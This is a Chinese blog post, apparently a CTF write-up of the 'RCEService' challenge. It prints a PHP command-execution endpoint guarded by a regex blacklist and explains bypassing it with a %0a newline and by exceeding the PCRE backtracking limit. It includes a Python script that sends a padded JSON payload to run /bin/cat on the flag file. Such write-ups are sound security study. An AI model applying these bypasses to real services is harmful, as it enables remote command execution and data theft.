PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
PHP中调用JAVA
Oct 09 PHP
php preg_match_all结合str_replace替换内容中所有img
Oct 11 PHP
PHP下通过系统信号量加锁方式获取递增序列ID
Sep 25 PHP
php产生随机数的两种方法实例代码 输出随机IP
Apr 08 PHP
PHP编码转换
Nov 05 PHP
php使用Cookie实现和用户会话的方法
Jan 21 PHP
Laravel 5框架学习之模型、控制器、视图基础流程
Apr 08 PHP
PHP处理会话函数大总结
Aug 05 PHP
php简单实现多语言切换的方法
May 09 PHP
Laravel 队列使用的实现
Jan 08 PHP
laravel异步监控定时调度器实例详解
Jun 21 PHP
PHP大文件切割上传功能实例分析
Jul 01 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
JavaScript DOM学习第八章 表单错误提示
2010/02/19 Javascript
实例详解JavaScript获取链接参数的方法
2016/01/01 Javascript
基于JavaScript实现鼠标悬浮弹出跟随鼠标移动的带箭头的信息层
2016/01/18 Javascript
AngularJS使用指令增强标准表单元素功能
2016/07/01 Javascript
javascript类型系统——日期Date对象全面了解
2016/07/13 Javascript
jQuery EasyUI Tab 选项卡问题小结
2016/08/16 Javascript
jQueryUI 拖放排序遇到滚动条时有可能无法执行排序的小bug及解决方案
2016/12/19 Javascript
canvas学习之API整理笔记(二)
2016/12/29 Javascript
JS 设置Cookie 有效期 检测cookie
2017/06/15 Javascript
微信小程序组件 marquee实例详解
2017/06/23 Javascript
浅谈angular4生命周期钩子
2017/09/05 Javascript
解决vue处理axios post请求传参的问题
2018/03/05 Javascript
vue axios登录请求拦截器
2018/04/02 Javascript
微信小程序商品详情页的底部弹出框效果
2020/11/16 Javascript
Node.js 使用AngularJS的方法示例
2018/05/11 Javascript
JS 使用 window对象的print方法实现分页打印功能
2018/05/16 Javascript
详解JavaScript自定义函数
2020/07/29 Javascript
[01:27:43]VGJ.S vs TNC Supermajor 败者组 BO3 第三场 6.6
2018/06/07 DOTA
python socket网络编程步骤详解(socket套接字使用)
2013/12/06 Python
详解Python的迭代器、生成器以及相关的itertools包
2015/04/02 Python
opencv3/C++实现视频背景去除建模(BSM)
2019/12/11 Python
python多进程重复加载的解决方式
2019/12/13 Python
pycharm激活码有效到2020年11月底
2020/09/18 Python
Python chardet库识别编码原理解析
2020/02/18 Python
Python基于requests库爬取网站信息
2020/03/02 Python
python 如何实现遗传算法
2020/09/22 Python
CSS3控制HTML元素动画效果
2014/02/08 HTML / CSS
印尼美容产品购物网站:PerfectBeauty.id
2017/12/01 全球购物
您在慕尼黑的跑步商店:Lauf-bar
2019/10/11 全球购物
人力资源部经理岗位职责规定
2014/02/23 职场文书
区级文明单位申报材料
2014/05/15 职场文书
兵马俑导游词
2015/02/02 职场文书
2015年感恩父亲节演讲稿
2015/03/19 职场文书
企业安全生产检查制度
2015/08/06 职场文书
python基础之模块的导入
2021/10/24 Python
小程序实现侧滑删除功能
2022/06/25 Javascript